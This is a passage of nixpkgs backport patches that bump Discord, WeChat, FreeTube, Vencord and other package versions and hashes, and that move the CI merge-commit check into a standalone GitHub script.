   strictDeps = true;
 

From 0ec1eaaa7c37308b781c8708470cc5885025caff Mon Sep 17 00:00:00 2001
From: jopejoe1 <jopejoe1@missing.ninja>
Date: Mon, 18 Aug 2025 05:45:58 +0000
Subject: [PATCH 3648/4511] discord: 0.0.103 -> 0.0.104

(cherry picked from commit f784b7f364ef33f5f0d67bdd3346644d2517cc99)
---
 .../networking/instant-messengers/discord/default.nix         | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/instant-messengers/discord/default.nix b/pkgs/applications/networking/instant-messengers/discord/default.nix
index ee2ef0629f68..2f1abf045f05 100644
--- a/pkgs/applications/networking/instant-messengers/discord/default.nix
+++ b/pkgs/applications/networking/instant-messengers/discord/default.nix
@@ -9,7 +9,7 @@ let
   versions =
     if stdenv.hostPlatform.isLinux then
       {
-        stable = "0.0.103";
+        stable = "0.0.104";
         ptb = "0.0.154";
         canary = "0.0.730";
         development = "0.0.84";
@@ -26,7 +26,7 @@ let
     x86_64-linux = {
       stable = fetchurl {
         url = "https://stable.dl2.discordapp.net/apps/linux/${version}/discord-${version}.tar.gz";
-        hash = "sha256-WNLyBBQFqAEiPpv1JpoFrgKgCH3PBOTxFWxdHcqNAl8=";
+        hash = "sha256-4w8C9YHRNTgkUBzqkW1IywKtRHvtlkihjo3/shAgPac=";
       };
       ptb = fetchurl {
         url = "https://ptb.dl2.discordapp.net/apps/linux/${version}/discord-ptb-${version}.tar.gz";

From 5b99559145f841d31bf1b2c5f4c038aa86cf875c Mon Sep 17 00:00:00 2001
From: jopejoe1 <jopejoe1@missing.ninja>
Date: Mon, 18 Aug 2025 05:46:37 +0000
Subject: [PATCH 3649/4511] discord-ptb: 0.0.154 -> 0.0.156

(cherry picked from commit a4073e0d14a2ab873c7bad974d9e66df8e1a6471)
---
 .../networking/instant-messengers/discord/default.nix         | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/instant-messengers/discord/default.nix b/pkgs/applications/networking/instant-messengers/discord/default.nix
index 2f1abf045f05..bc12257c2314 100644
--- a/pkgs/applications/networking/instant-messengers/discord/default.nix
+++ b/pkgs/applications/networking/instant-messengers/discord/default.nix
@@ -10,7 +10,7 @@ let
     if stdenv.hostPlatform.isLinux then
       {
         stable = "0.0.104";
-        ptb = "0.0.154";
+        ptb = "0.0.156";
         canary = "0.0.730";
         development = "0.0.84";
       }
@@ -30,7 +30,7 @@ let
       };
       ptb = fetchurl {
         url = "https://ptb.dl2.discordapp.net/apps/linux/${version}/discord-ptb-${version}.tar.gz";
-        hash = "sha256-ZAjewH/lOby3O7dQXy4igKd0DiZuwuhBitSlbr3hyjs=";
+        hash = "sha256-IU2zV/PviEXniupYz4sUGdu2PugDPiXaH64+SZTRK/0=";
       };
       canary = fetchurl {
         url = "https://canary.dl2.discordapp.net/apps/linux/${version}/discord-canary-${version}.tar.gz";

From 1c7ae43fe10d1ba8343424e4d431f99d47353206 Mon Sep 17 00:00:00 2001
From: jopejoe1 <jopejoe1@missing.ninja>
Date: Mon, 18 Aug 2025 05:47:26 +0000
Subject: [PATCH 3650/4511] discord-canary: 0.0.730 -> 0.0.740

(cherry picked from commit 48c123450fa16b097e4d85e32e891b900d0431e2)
---
 .../networking/instant-messengers/discord/default.nix         | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/instant-messengers/discord/default.nix b/pkgs/applications/networking/instant-messengers/discord/default.nix
index bc12257c2314..c841a22d075f 100644
--- a/pkgs/applications/networking/instant-messengers/discord/default.nix
+++ b/pkgs/applications/networking/instant-messengers/discord/default.nix
@@ -11,7 +11,7 @@ let
       {
         stable = "0.0.104";
         ptb = "0.0.156";
-        canary = "0.0.730";
+        canary = "0.0.740";
         development = "0.0.84";
       }
     else
@@ -34,7 +34,7 @@ let
       };
       canary = fetchurl {
         url = "https://canary.dl2.discordapp.net/apps/linux/${version}/discord-canary-${version}.tar.gz";
-        hash = "sha256-lDmhJhhI9oD89fIGctcalO0pf2SjikRdsIWVIpkfGpk=";
+        hash = "sha256-Z8gTydEX8Bd5TCHACY5iOJqRuZ6YSOyYa3lSBr3PYLQ=";
       };
       development = fetchurl {
         url = "https://development.dl2.discordapp.net/apps/linux/${version}/discord-development-${version}.tar.gz";

From cd1978046d44d577cd83511d4ec87c9a8d3edff5 Mon Sep 17 00:00:00 2001
From: jopejoe1 <jopejoe1@missing.ninja>
Date: Mon, 18 Aug 2025 05:49:28 +0000
Subject: [PATCH 3651/4511] pkgsCross.aarch64-darwin.discord: 0.0.355 ->
 0.0.356

(cherry picked from commit f129630956c6d8ca8e80e62f32e4fa51ff465492)
---
 .../networking/instant-messengers/discord/default.nix         | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/instant-messengers/discord/default.nix b/pkgs/applications/networking/instant-messengers/discord/default.nix
index c841a22d075f..f230b5aa4016 100644
--- a/pkgs/applications/networking/instant-messengers/discord/default.nix
+++ b/pkgs/applications/networking/instant-messengers/discord/default.nix
@@ -16,7 +16,7 @@ let
       }
     else
       {
-        stable = "0.0.355";
+        stable = "0.0.356";
         ptb = "0.0.184";
         canary = "0.0.836";
         development = "0.0.97";
@@ -44,7 +44,7 @@ let
     x86_64-darwin = {
       stable = fetchurl {
         url = "https://stable.dl2.discordapp.net/apps/osx/${version}/Discord.dmg";
-        hash = "sha256-RV/qyguxpdgL0T6AJHvP40LzFxSLI57bCGEpgZxLZmI=";
+        hash = "sha256-oATRY8cpdpTZr7iMQ/SIvSbXDxhsCviQQFqytDG9u/c=";
       };
       ptb = fetchurl {
         url = "https://ptb.dl2.discordapp.net/apps/osx/${version}/DiscordPTB.dmg";

From c51d301e69941a0cf89c1dffbf2a12ca18d4bb7b Mon Sep 17 00:00:00 2001
From: jopejoe1 <jopejoe1@missing.ninja>
Date: Mon, 18 Aug 2025 05:50:19 +0000
Subject: [PATCH 3652/4511] pkgsCross.aarch64-darwin.discord-ptb: 0.0.184 ->
 0.0.186

(cherry picked from commit 0fc0fdf92a8830a33e8b277eedf1c80054c2f614)
---
 .../networking/instant-messengers/discord/default.nix         | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/instant-messengers/discord/default.nix b/pkgs/applications/networking/instant-messengers/discord/default.nix
index f230b5aa4016..2a66a0cfc4f5 100644
--- a/pkgs/applications/networking/instant-messengers/discord/default.nix
+++ b/pkgs/applications/networking/instant-messengers/discord/default.nix
@@ -17,7 +17,7 @@ let
     else
       {
         stable = "0.0.356";
-        ptb = "0.0.184";
+        ptb = "0.0.186";
         canary = "0.0.836";
         development = "0.0.97";
       };
@@ -48,7 +48,7 @@ let
       };
       ptb = fetchurl {
         url = "https://ptb.dl2.discordapp.net/apps/osx/${version}/DiscordPTB.dmg";
-        hash = "sha256-BWsnv22blA+1oAWGbYxXgwo0i9LvaAAqjUuwSRlfkTw=";
+        hash = "sha256-f5qoDpwcp1qBDyD+0QPE7KU6pJLALZPO7auGoo3JJiA=";
       };
       canary = fetchurl {
         url = "https://canary.dl2.discordapp.net/apps/osx/${version}/DiscordCanary.dmg";

From 93e1751170c18088bd8bc97432b4d6edeb03b496 Mon Sep 17 00:00:00 2001
From: jopejoe1 <jopejoe1@missing.ninja>
Date: Mon, 18 Aug 2025 05:51:03 +0000
Subject: [PATCH 3653/4511] pkgsCross.aarch64-darwin.discord-canary: 0.0.836 ->
 0.0.844

(cherry picked from commit f02ffe646d6a7693bd5efa036f19197f4cd96ba2)
---
 .../networking/instant-messengers/discord/default.nix         | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/instant-messengers/discord/default.nix b/pkgs/applications/networking/instant-messengers/discord/default.nix
index 2a66a0cfc4f5..b965c98db549 100644
--- a/pkgs/applications/networking/instant-messengers/discord/default.nix
+++ b/pkgs/applications/networking/instant-messengers/discord/default.nix
@@ -18,7 +18,7 @@ let
       {
         stable = "0.0.356";
         ptb = "0.0.186";
-        canary = "0.0.836";
+        canary = "0.0.844";
         development = "0.0.97";
       };
   version = versions.${branch};
@@ -52,7 +52,7 @@ let
       };
       canary = fetchurl {
         url = "https://canary.dl2.discordapp.net/apps/osx/${version}/DiscordCanary.dmg";
-        hash = "sha256-XVznNMnhEgX2YXUj0+5cQNxB2RR2ybUS3UcHqlSiHOk=";
+        hash = "sha256-i5ffkto9QoMorqsLQSUF9KnSHOK0tEFcPqkhSJ9cV+s=";
       };
       development = fetchurl {
         url = "https://development.dl2.discordapp.net/apps/osx/${version}/DiscordDevelopment.dmg";

From 3802a0c44e8d95ba2c641a257e83a99fc8016d08 Mon Sep 17 00:00:00 2001
From: Sigmanificient <edhyjox@gmail.com>
Date: Tue, 19 Aug 2025 16:13:36 +0200
Subject: [PATCH 3654/4511] [Backport release-25.05] Revert serie: 0.4.6 ->
 0.4.7

---
 pkgs/by-name/se/serie/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/se/serie/package.nix b/pkgs/by-name/se/serie/package.nix
index 66aaf108b60e..2cc1fba95a0f 100644
--- a/pkgs/by-name/se/serie/package.nix
+++ b/pkgs/by-name/se/serie/package.nix
@@ -9,16 +9,16 @@
 
 rustPlatform.buildRustPackage rec {
   pname = "serie";
-  version = "0.4.7";
+  version = "0.4.6";
 
   src = fetchFromGitHub {
     owner = "lusingander";
     repo = "serie";
     rev = "v${version}";
-    hash = "sha256-BzawNeRdZ6YfjHwnGzKTJYc6mmRBOADGo86ebKY3xbo=";
+    hash = "sha256-26B/bwXz60fcZrh6H1RPROiML44S1Pt1J3VrJh2gRrI=";
   };
 
-  cargoHash = "sha256-UpJoNfDPugcPXkJR/zBslemnzaA54Mt1Q1BZerryQSs=";
+  cargoHash = "sha256-Bdk553tECJiMxJlXj147Sv2LzH+nM+/Cm5BpBr78I4o=";
 
   nativeCheckInputs = [ gitMinimal ];
 

From 985c9f9a10581c38ba5cc9122e7a8aa0f5c86184 Mon Sep 17 00:00:00 2001
From: liberodark <liberodark@gmail.com>
Date: Tue, 19 Aug 2025 16:13:55 +0200
Subject: [PATCH 3655/4511] rundeck: 5.13.0 -> 5.14.1

(cherry picked from commit 036d63d850876e9b6fdfd6fe4df36c0e61178ccf)
---
 pkgs/by-name/ru/rundeck/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ru/rundeck/package.nix b/pkgs/by-name/ru/rundeck/package.nix
index 12da62d4f0f2..34e1d5644cf4 100644
--- a/pkgs/by-name/ru/rundeck/package.nix
+++ b/pkgs/by-name/ru/rundeck/package.nix
@@ -12,11 +12,11 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "rundeck";
-  version = "5.13.0-20250625";
+  version = "5.14.1-20250818";
 
   src = fetchurl {
     url = "https://packagecloud.io/pagerduty/rundeck/packages/java/org.rundeck/rundeck-${finalAttrs.version}.war/artifacts/rundeck-${finalAttrs.version}.war/download?distro_version_id=167";
-    hash = "sha256-RqyJ0/gZQ1gIYSPoYfGGN5VB5ubUMl00pHPlw6v6tBQ=";
+    hash = "sha256-x+Le75dX5NcnOAMK77VyKltbwqNy0tfpXB/HeXKCS4A=";
   };
 
   nativeBuildInputs = [ makeWrapper ];

From b8b29e499c5b36b45635286e62070a90cdc904c1 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Tue, 19 Aug 2025 09:34:38 +0000
Subject: [PATCH 3656/4511] mprisence: 1.2.4 -> 1.2.5

(cherry picked from commit 09297d52d4a6a2f9f34e23bd7cd2359808ca4b07)
---
 pkgs/by-name/mp/mprisence/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/mp/mprisence/package.nix b/pkgs/by-name/mp/mprisence/package.nix
index 70adacdba0dc..d6842b9ef28b 100644
--- a/pkgs/by-name/mp/mprisence/package.nix
+++ b/pkgs/by-name/mp/mprisence/package.nix
@@ -9,16 +9,16 @@
 
 rustPlatform.buildRustPackage (finalAttrs: {
   pname = "mprisence";
-  version = "1.2.4";
+  version = "1.2.5";
 
   src = fetchFromGitHub {
     owner = "lazykern";
     repo = "mprisence";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-eUUUHjR6wnbaPb1QD9luEVvu5qSAxG5c4TuMjnzRV40=";
+    hash = "sha256-XZgc5eaBo/FwRCTJnm6lKzp824/XckIMK5P4aTohiuE=";
   };
 
-  cargoHash = "sha256-BnzDMvwqQ56VFc7AuzsfyZ002qcmRaAOMfipynZ1/Mc=";
+  cargoHash = "sha256-zbycof7QBI2Ua3rO24aCDZcxX8yoPKpAAFeQI4b2YjM=";
 
   nativeBuildInputs = [ pkg-config ];
 

From c1b3d7d4eb4617d13d48b15f481e8f916af13e9c Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Tue, 19 Aug 2025 01:58:50 +0000
Subject: [PATCH 3657/4511] matrix-authentication-service: 0.20.0 -> 1.0.0

(cherry picked from commit a8121061cfbe5a0ac70140a99f445fa3cb3d5104)
---
 pkgs/by-name/ma/matrix-authentication-service/package.nix | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/ma/matrix-authentication-service/package.nix b/pkgs/by-name/ma/matrix-authentication-service/package.nix
index 099144d40e4a..4bcb38ca6c57 100644
--- a/pkgs/by-name/ma/matrix-authentication-service/package.nix
+++ b/pkgs/by-name/ma/matrix-authentication-service/package.nix
@@ -18,21 +18,21 @@
 
 rustPlatform.buildRustPackage (finalAttrs: {
   pname = "matrix-authentication-service";
-  version = "0.20.0";
+  version = "1.0.0";
 
   src = fetchFromGitHub {
     owner = "element-hq";
     repo = "matrix-authentication-service";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-BLEbEDZRh7fgcnkH/YUHPPdKM1FtZdjvsL1rJ57BP3w=";
+    hash = "sha256-v3M/MrBwa4XBfsDYt9BCmt0MBEnIjrCck/Cpv79dXLw=";
   };
 
-  cargoHash = "sha256-1jLiCCZUj/rBHd1huqZdmgKayoSZoOt3tptyZlOcWJA=";
+  cargoHash = "sha256-D1LBPwPdkTV35cDrKaygRoiBYWRSYv4KtkAdvs5+S/o=";
 
   npmDeps = fetchNpmDeps {
     name = "${finalAttrs.pname}-${finalAttrs.version}-npm-deps";
     src = "${finalAttrs.src}/${finalAttrs.npmRoot}";
-    hash = "sha256-+n9P2P88G3neHJqmJi/VWpaQ/UkUzBtihfeKy5lju4U=";
+    hash = "sha256-1yxxzxhefviOQX6lXWFW/bmkOcJeetE1sCPsDUT4UJM=";
   };
 
   npmRoot = "frontend";

From 18ec1750c7d02fe584b658db91f3a1057dab8f2c Mon Sep 17 00:00:00 2001
From: Jost Alemann <alemann@posteo.com>
Date: Sat, 9 Aug 2025 10:02:04 +0200
Subject: [PATCH 3658/4511] freetube: 0.23.5 -> 0.23.6

Changelog:
https://github.com/FreeTubeApp/FreeTube/releases/tag/v0.23.6-beta
Diff:
https://github.com/FreeTubeApp/FreeTube/compare/v0.23.5-beta...v0.23.6-beta

(cherry picked from commit 01f6508918a7af7583e4da274dc429b5ea831665)
---
 pkgs/by-name/fr/freetube/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/fr/freetube/package.nix b/pkgs/by-name/fr/freetube/package.nix
index 3daf94c56da4..839113087450 100644
--- a/pkgs/by-name/fr/freetube/package.nix
+++ b/pkgs/by-name/fr/freetube/package.nix
@@ -20,13 +20,13 @@ let
 in
 stdenvNoCC.mkDerivation (finalAttrs: {
   pname = "freetube";
-  version = "0.23.5";
+  version = "0.23.6";
 
   src = fetchFromGitHub {
     owner = "FreeTubeApp";
     repo = "FreeTube";
     tag = "v${finalAttrs.version}-beta";
-    hash = "sha256-tVe//h20cTVgpHeo3IlfGfuAH+dM6H5MEfGny5Uhrjk=";
+    hash = "sha256-Z1L45RHlmylfqKBY37PC5TQ3ubOgH0AHFGM7VkmtkZ0=";
   };
 
   # Darwin requires writable Electron dist
@@ -49,7 +49,7 @@ stdenvNoCC.mkDerivation (finalAttrs: {
 
   yarnOfflineCache = fetchYarnDeps {
     yarnLock = "${finalAttrs.src}/yarn.lock";
-    hash = "sha256-F1YcdshWGRCO7kHsCK0Ejs0aMR7BFXd5M9ITdRVcpbk=";
+    hash = "sha256-ia5wLRt3Hmo4/dsB1/rhGWGJ7LMnVR9ju9lSlQZDTTg=";
   };
 
   nativeBuildInputs = [

From 58f91dd673aebc0356b7e6690a67c0aa41a16027 Mon Sep 17 00:00:00 2001
From: Jost Alemann <jost_alemann@me.com>
Date: Fri, 15 Aug 2025 20:21:04 +0200
Subject: [PATCH 3659/4511] freetube: 0.23.6 -> 0.23.7

Changelog:
https://github.com/FreeTubeApp/FreeTube/releases/tag/v0.23.7-beta
Diff:
https://github.com/FreeTubeApp/FreeTube/compare/v0.23.6-beta...v0.23.7-beta

(cherry picked from commit f70bdf2d5fac948a6d2fea0fc54842ffa0328874)
---
 pkgs/by-name/fr/freetube/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/fr/freetube/package.nix b/pkgs/by-name/fr/freetube/package.nix
index 839113087450..f2b7d8ac8541 100644
--- a/pkgs/by-name/fr/freetube/package.nix
+++ b/pkgs/by-name/fr/freetube/package.nix
@@ -20,13 +20,13 @@ let
 in
 stdenvNoCC.mkDerivation (finalAttrs: {
   pname = "freetube";
-  version = "0.23.6";
+  version = "0.23.7";
 
   src = fetchFromGitHub {
     owner = "FreeTubeApp";
     repo = "FreeTube";
     tag = "v${finalAttrs.version}-beta";
-    hash = "sha256-Z1L45RHlmylfqKBY37PC5TQ3ubOgH0AHFGM7VkmtkZ0=";
+    hash = "sha256-252d80xCWBZnPHnRESxRqYzT40Gu/LLBbzXr2nIJW/I=";
   };
 
   # Darwin requires writable Electron dist

From ea11a24887d12799e0de0499aeb9fe40a1a598df Mon Sep 17 00:00:00 2001
From: Sizhe Zhao <prc.zhao@outlook.com>
Date: Wed, 23 Jul 2025 10:26:57 +0800
Subject: [PATCH 3660/4511] wechat: 4.0.6.19-29383 -> 4.0.6.25-29387 for darwin

(cherry picked from commit 8e82f4fb9891c39178a1e37a98a0c22bb416376b)
---
 pkgs/by-name/we/wechat/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/we/wechat/package.nix b/pkgs/by-name/we/wechat/package.nix
index ca5db30472f3..d68959fcdf4a 100644
--- a/pkgs/by-name/we/wechat/package.nix
+++ b/pkgs/by-name/we/wechat/package.nix
@@ -30,14 +30,14 @@ let
       # https://dldir1.qq.com/weixin/mac/mac-release.xml
       any-darwin =
         let
-          version = "4.0.6.19-29383";
+          version = "4.0.6.25-29387";
           version' = lib.replaceString "-" "_" version;
         in
         {
           inherit version;
           src = fetchurl {
             url = "https://dldir1v6.qq.com/weixin/Universal/Mac/xWeChatMac_universal_${version'}.dmg";
-            hash = "sha256-HloG++DGzsxM7C0AbN4PXkkzFdhUhBDcH5Vq+bTUuEE=";
+            hash = "sha256-vdeUUJdbIxT8tX5Xo9QIzbWTwRjtSXwrNoImMwt5xkY=";
           };
         };
     in

From ba53a2a477c2c90c15ada7a38e6577c4e723ce12 Mon Sep 17 00:00:00 2001
From: Sizhe Zhao <prc.zhao@outlook.com>
Date: Tue, 19 Aug 2025 22:12:42 +0800
Subject: [PATCH 3661/4511] wechat: 4.0.6.25-29387 -> 4.1.0.19-29668 for darwin

(cherry picked from commit 3507cf70c635e72c9a38daad9d61490cebcb2e88)
---
 pkgs/by-name/we/wechat/darwin.nix  | 5 +++++
 pkgs/by-name/we/wechat/package.nix | 4 ++--
 2 files changed, 7 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/we/wechat/darwin.nix b/pkgs/by-name/we/wechat/darwin.nix
index e82885d27d6f..3ecc69dba97a 100644
--- a/pkgs/by-name/we/wechat/darwin.nix
+++ b/pkgs/by-name/we/wechat/darwin.nix
@@ -17,6 +17,11 @@ stdenvNoCC.mkDerivation {
 
   # dmg is APFS formatted
   nativeBuildInputs = [ _7zz ];
+  # ERROR: Dangerous link path was ignored : WeChat.app/Contents/MacOS/WeChatAppEx.app/Contents/Frameworks/WeChatAppEx Framework.framework/Versions/C/Libraries/xfile/libxfile_skia.dylib : ../xeditor/libxeditor_app.dylib
+  unpackCmd = ''
+    7zz x -snld "$curSrc"
+  '';
+
   sourceRoot = ".";
 
   installPhase = ''
diff --git a/pkgs/by-name/we/wechat/package.nix b/pkgs/by-name/we/wechat/package.nix
index d68959fcdf4a..1849187a4b0c 100644
--- a/pkgs/by-name/we/wechat/package.nix
+++ b/pkgs/by-name/we/wechat/package.nix
@@ -30,14 +30,14 @@ let
       # https://dldir1.qq.com/weixin/mac/mac-release.xml
       any-darwin =
         let
-          version = "4.0.6.25-29387";
+          version = "4.1.0.19-29668";
           version' = lib.replaceString "-" "_" version;
         in
         {
           inherit version;
           src = fetchurl {
             url = "https://dldir1v6.qq.com/weixin/Universal/Mac/xWeChatMac_universal_${version'}.dmg";
-            hash = "sha256-vdeUUJdbIxT8tX5Xo9QIzbWTwRjtSXwrNoImMwt5xkY=";
+            hash = "sha256-EAKfskB3zY4C05MVCoyxzW6wuRw8b2nXIynyEjx8Rvw=";
           };
         };
     in

From af7981ed14511a756c236a1f55798fe959a71ac1 Mon Sep 17 00:00:00 2001
From: Sapphire <imsapphire0@gmail.com>
Date: Wed, 20 Aug 2025 02:05:44 -0500
Subject: [PATCH 3662/4511] vencord: 1.12.10 -> 1.12.12

(cherry picked from commit f15d572a7806abd399cc7c9a6d504f5a46e43248)
---
 pkgs/by-name/ve/vencord/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ve/vencord/package.nix b/pkgs/by-name/ve/vencord/package.nix
index 292894c3ea83..2e468da846a5 100644
--- a/pkgs/by-name/ve/vencord/package.nix
+++ b/pkgs/by-name/ve/vencord/package.nix
@@ -14,13 +14,13 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "vencord";
-  version = "1.12.10";
+  version = "1.12.12";
 
   src = fetchFromGitHub {
     owner = "Vendicated";
     repo = "Vencord";
     rev = "v${finalAttrs.version}";
-    hash = "sha256-1id5efh9Zr2hpLnLAej2EMDQHpjdM7U5ZZBDE2p5Ljc=";
+    hash = "sha256-44Jiel/Y8ueZkZW0BFltgxrvSKkWmeKs8zVgFBJU+BI=";
   };
 
   pnpmDeps = pnpm_10.fetchDeps {

From 19d5d69dc958bf36661b17f7b31506c6c367bc3e Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Sun, 17 Aug 2025 20:23:55 +0200
Subject: [PATCH 3663/4511] workflows/eval: run misc job with same merge commit

This was an oversight when we introduced the ability for
`get-merge-commit` to take the pre-computed sha as input.

(cherry picked from commit f5c5bc25ea407de260a89800e59066713bd8d2be)
---
 .github/workflows/eval.yml | 1 +
 1 file changed, 1 insertion(+)

diff --git a/.github/workflows/eval.yml b/.github/workflows/eval.yml
index 53ad022a559f..a89f2e4d5f9b 100644
--- a/.github/workflows/eval.yml
+++ b/.github/workflows/eval.yml
@@ -378,6 +378,7 @@ jobs:
       - name: Check if the PR can be merged and checkout the merge commit
         uses: ./.github/actions/get-merge-commit
         with:
+          mergedSha: ${{ inputs.mergedSha }}
           merged-as-untrusted: true
 
       - name: Install Nix

From ea9f67944fc7889d6ace5157714a472a7c2807a3 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Sat, 16 Aug 2025 14:19:08 +0200
Subject: [PATCH 3664/4511] actions/get-merge-commit: remove push branch

This action will not be called for push events anymore. For those, the
`push.yml` workflow is run instead, which hardcodes `mergedSha`.

(cherry picked from commit 2087f1be30d4ee98d8df1c346848e61fa0cf8105)
---
 .github/actions/get-merge-commit/action.yml | 2 --
 1 file changed, 2 deletions(-)

diff --git a/.github/actions/get-merge-commit/action.yml b/.github/actions/get-merge-commit/action.yml
index 041817bbb3c8..f54010d077a0 100644
--- a/.github/actions/get-merge-commit/action.yml
+++ b/.github/actions/get-merge-commit/action.yml
@@ -35,8 +35,6 @@ runs:
       uses: actions/github-script@60a0d83039c74a4aee543508d2ffcb1c3799cdea # v7.0.1
       with:
         script: |
-          if (context.eventName == 'push') return core.setOutput('mergedSha', context.sha)
-
           for (const retryInterval of [5, 10, 20, 40, 80]) {
             console.log("Checking whether the pull request can be merged...")
             const prInfo = (await github.rest.pulls.get({

From b60acc12a938718d1a27c00b6d4df699917b2efd Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Sat, 16 Aug 2025 14:25:39 +0200
Subject: [PATCH 3665/4511] ci/github-script/prepare: init from
 actions/get-merge-commit

This just moves the code over to ci/github-script to make it easy to
test and iterate on locally.

The name `prepare` is chosen, because the script will be extended with
the other steps from "PR / prepare" next.

(cherry picked from commit c787c66de6e60e36e9e11af3c38df718f183b22b)
---
 .github/actions/get-merge-commit/action.yml | 49 +++------------------
 .github/workflows/codeowners-v2.yml         |  4 +-
 .github/workflows/pr.yml                    |  1 +
 ci/github-script/prepare.js                 | 46 +++++++++++++++++++
 ci/github-script/run                        | 11 +++++
 5 files changed, 66 insertions(+), 45 deletions(-)
 create mode 100644 ci/github-script/prepare.js

diff --git a/.github/actions/get-merge-commit/action.yml b/.github/actions/get-merge-commit/action.yml
index f54010d077a0..1d37ef6abd43 100644
--- a/.github/actions/get-merge-commit/action.yml
+++ b/.github/actions/get-merge-commit/action.yml
@@ -35,50 +35,11 @@ runs:
       uses: actions/github-script@60a0d83039c74a4aee543508d2ffcb1c3799cdea # v7.0.1
       with:
         script: |
-          for (const retryInterval of [5, 10, 20, 40, 80]) {
-            console.log("Checking whether the pull request can be merged...")
-            const prInfo = (await github.rest.pulls.get({
-              owner: context.repo.owner,
-              repo: context.repo.repo,
-              pull_number: context.payload.pull_request.number
-            })).data
-
-            if (prInfo.state != 'open') throw new Error ("PR is not open anymore.")
-
-            if (prInfo.mergeable == null) {
-              console.log(`GitHub is still computing whether this PR can be merged, waiting ${retryInterval} seconds before trying again...`)
-              await new Promise(resolve => setTimeout(resolve, retryInterval * 1000))
-              continue
-            }
-
-            let mergedSha, targetSha
-
-            if (prInfo.mergeable) {
-              console.log("The PR can be merged.")
-
-              mergedSha = prInfo.merge_commit_sha
-              targetSha = (await github.rest.repos.getCommit({
-                owner: context.repo.owner,
-                repo: context.repo.repo,
-                ref: prInfo.merge_commit_sha
-              })).data.parents[0].sha
-            } else {
-              console.log("The PR has a merge conflict.")
-
-              mergedSha = prInfo.head.sha
-              targetSha = (await github.rest.repos.compareCommitsWithBasehead({
-                owner: context.repo.owner,
-                repo: context.repo.repo,
-                basehead: `${prInfo.base.sha}...${prInfo.head.sha}`
-              })).data.merge_base_commit.sha
-            }
-
-            console.log(`Checking the commits:\nmerged:${mergedSha}\ntarget:${targetSha}`)
-            core.setOutput('mergedSha', mergedSha)
-            core.setOutput('targetSha', targetSha)
-            return
-          }
-          throw new Error("Not retrying anymore. It's likely that GitHub is having internal issues: check https://www.githubstatus.com.")
+          require('./ci/github-script/prepare.js')({
+            github,
+            context,
+            core,
+          })
 
     - if: inputs.merged-as-untrusted && (inputs.mergedSha || steps.commits.outputs.mergedSha)
       # Would be great to do the checkouts in git worktrees of the existing spare checkout instead,
diff --git a/.github/workflows/codeowners-v2.yml b/.github/workflows/codeowners-v2.yml
index 94cb82a68e73..b8efcd549aea 100644
--- a/.github/workflows/codeowners-v2.yml
+++ b/.github/workflows/codeowners-v2.yml
@@ -53,7 +53,9 @@ jobs:
     steps:
       - uses: actions/checkout@08c6903cd8c0fde910a37f88322edcfb5dd907a8 # v5.0.0
         with:
-          sparse-checkout: .github/actions
+          sparse-checkout: |
+            .github/actions
+            ci/github-script
       - name: Check if the PR can be merged and checkout the merge and target commits
         uses: ./.github/actions/get-merge-commit
         with:
diff --git a/.github/workflows/pr.yml b/.github/workflows/pr.yml
index c5a9b7ccf7c9..6c7e37b9db22 100644
--- a/.github/workflows/pr.yml
+++ b/.github/workflows/pr.yml
@@ -34,6 +34,7 @@ jobs:
         with:
           sparse-checkout: |
             .github/actions
+            ci/github-script
             ci/supportedBranches.js
             ci/supportedSystems.json
       - name: Check if the PR can be merged and get the test merge commit
diff --git a/ci/github-script/prepare.js b/ci/github-script/prepare.js
new file mode 100644
index 000000000000..967934bc2d7e
--- /dev/null
+++ b/ci/github-script/prepare.js
@@ -0,0 +1,46 @@
+module.exports = async function ({ github, context, core }) {
+  for (const retryInterval of [5, 10, 20, 40, 80]) {
+    console.log("Checking whether the pull request can be merged...")
+    const prInfo = (await github.rest.pulls.get({
+      owner: context.repo.owner,
+      repo: context.repo.repo,
+      pull_number: context.payload.pull_request.number
+    })).data
+
+    if (prInfo.state != 'open') throw new Error ("PR is not open anymore.")
+
+    if (prInfo.mergeable == null) {
+      console.log(`GitHub is still computing whether this PR can be merged, waiting ${retryInterval} seconds before trying again...`)
+      await new Promise(resolve => setTimeout(resolve, retryInterval * 1000))
+      continue
+    }
+
+    let mergedSha, targetSha
+
+    if (prInfo.mergeable) {
+      console.log("The PR can be merged.")
+
+      mergedSha = prInfo.merge_commit_sha
+      targetSha = (await github.rest.repos.getCommit({
+        owner: context.repo.owner,
+        repo: context.repo.repo,
+        ref: prInfo.merge_commit_sha
+      })).data.parents[0].sha
+    } else {
+      console.log("The PR has a merge conflict.")
+
+      mergedSha = prInfo.head.sha
